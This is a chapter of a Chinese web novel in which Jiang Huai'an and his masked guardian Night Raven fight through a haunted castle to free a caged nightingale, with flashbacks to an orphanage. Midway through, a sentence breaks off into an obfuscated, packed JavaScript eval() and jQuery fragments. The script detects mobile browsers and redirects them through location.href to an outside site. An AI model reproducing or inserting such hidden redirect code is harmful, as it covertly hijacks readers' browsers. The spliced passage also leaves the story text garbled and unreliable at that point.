夜色如墨,唯有月光透过古堡残窗,在地面投下碎银般的光斑。江怀安指尖抚过石墙,触感冰冷潮湿,像极了福利院那年久失修的后墙——这念头一闪而过,却被他迅速压回心底。
“夜莺的巢穴在顶层钟楼。”林医生的声音从通讯器传来,带着电流杂音,“但通往钟楼的阶梯被荆棘封锁,需找到‘夜巡者的钥匙’。”
江怀安抬头,螺旋阶梯上方盘踞着暗紫色荆棘,尖刺泛着幽光,仿佛活物般微微蠕动。他试探性伸手,荆棘骤然缩紧,发出金属摩擦般的嘶鸣。
“别碰。”
低沉男声自身后响起,江怀安手腕一紧,已被夜鸦拽回。对方掌心有薄茧,力道不容拒绝,却在他站稳后立即松开,仿佛触碰烫手。
“荆棘有毒,沾上即麻痹。”夜鸦的黑袍沾着夜露,面具下只露一双灰眸,在暗处如冷刃出鞘,“钥匙在古堡画廊,跟我来。”
江怀安抿唇跟上。这男人总神出鬼没,救他时毫不犹豫,却又刻意保持距离。就像福利院那只总偷食却不让摸的野猫——这联想让他莫名想笑,却又咽了回去。
画廊长廊两侧挂满油画,画中人物皆闭目沉睡,唯有中央一幅画例外:画中黑衣骑士手持铜钥匙,眼眸半睁,似在凝视观画者。
“夜巡者……”江怀安低念画名,伸手欲取钥匙,画中骑士瞳孔骤转血红,利剑破画而出!
“退后!”
夜鸦厉喝,黑袍翻卷间已挡在江怀安身前。剑锋擦过他肩臂,布料撕裂声清晰可闻,他却闷哼未退,反手扣住画框边缘——
“咔嚓!”
画框碎裂,钥匙坠地,骑士化作黑烟消散。
江怀安怔怔看着夜鸦渗血的肩臂:“你……”
“小伤。”夜鸦俯身拾起钥匙,语气淡漠,“下次别贸然动手。”
他转身时,江怀安瞥见其颈侧有道旧疤,蜿蜒至衣领下——那疤痕形状,竟与自己童年时磕在福利院石阶上的伤如出一辙。
“你的疤……”江怀安下意识开口。
夜鸦动作微顿,灰眸扫来:“副本生成的伤痕而已。”
谎言。江怀安几乎能确定。但这念头如潮水,来得快退得也快。
画廊尽头传来脚步声,阿星抱着破旧玩偶跑来,眼眶泛红:“怀安哥!黑蛇在追我……”
话音未落,黑影已堵住廊口。黑蛇的鳞甲映着月光,笑声嘶哑:“钥匙交出来,否则这小孩……”
江怀安将阿星拉到身后,钥匙攥紧掌心:“我的东西,轮不到你抢。”
语气平静,却让黑蛇笑声骤停。
夜鸦侧目看他,面具下唇角微不可察地扬起:“有点意思。”
这句低语轻得似风,却让江怀安心跳漏了一拍。
三人退至画廊角落,黑蛇步步紧逼。江怀安握紧钥匙,突然想起林医生的话——
“夜莺渴望‘真实的声音’,钥匙需共鸣才能使用。”
真实的声音……
他闭眼,哼起那段残缺歌谣。福利院护工曾教他,说这是“海边孩子的歌”,可他从未见过海,直到那年遇见白衣少年——
“哗啦……”
钥匙突然震颤,发出潮汐般的鸣响。荆棘闻声退散,露出通往钟楼的阶梯。
黑蛇怒吼扑来,夜鸦挥刀拦截,却对江怀安道:“带阿星上去,这里交给我。”
“你一个人?”江怀安蹙眉。
夜鸦灰眸深邃:“你忘了?我是你的守护者。”
这句话如咒语,让江怀安脑海刺痛。他咬牙拉起阿星奔向阶梯,身后传来兵刃交击声,却未回头。
钟楼顶端,铁笼中困着银羽夜莺,眼眸紧闭,胸脯微弱起伏。
江怀安将钥匙插入锁孔,夜莺突然睁眼,瞳孔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368502|199845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竟与白衣少年相似——
“你终于来了。”夜莺口吐人言,声音如少年清亮,“但这里没有真相,只有你不敢面对的回忆。”
江怀安手一颤,钥匙险些脱落。
阿星突然拽他衣角,指向窗外:“怀安哥,你看……”
月光下,古堡外竟是一片无垠海域,潮汐往复,却寂静无声。
而海面上,白衣少年背对他而立,衣袂随风,似要转身——
“轰!”
钟楼突然震动,黑蛇冲破楼板,利爪直取夜莺!
江怀安本能扑向铁笼,却听夜鸦厉喝:“别动!”
黑袍身影如鹰掠至,刀锋格开利爪,反手将江怀安与阿星推向角落。
“钥匙给我!”夜鸦语气急促。
江怀安递出钥匙,指尖相触时,夜鸦掌心温度灼人。
“记住,”夜鸦凝视他,灰眸竟泛起血色,“无论看到什么,都是假的。”
钥匙插入锁孔,夜莺振翅高鸣,银光炸裂——
江怀安最后见到的,是夜鸦被黑蛇刺穿肩胛,却仍对他无声做口型:
“活下去。”
白光吞没一切。
【章节尾声】
江怀安苏醒于副本起始点,林医生正在记录数据。
“夜鸦呢?”他哑声问。
林医生笔尖一顿:“守护者会自动修复,不必担心。”
但江怀安瞥见记录本一角,写着——
“患者潜意识防御机制过强,需警惕攻击性倾向。”
窗外,月光依旧冰冷。
江怀安摩挲指尖,那里残留着夜鸦掌心的薄茧触感。
就像福利院那只野猫,终于肯让他摸了一下,却又迅速逃开。
“下次见面,”他轻声自语,“该我护你了。”
这句低语散在风里,无人听见。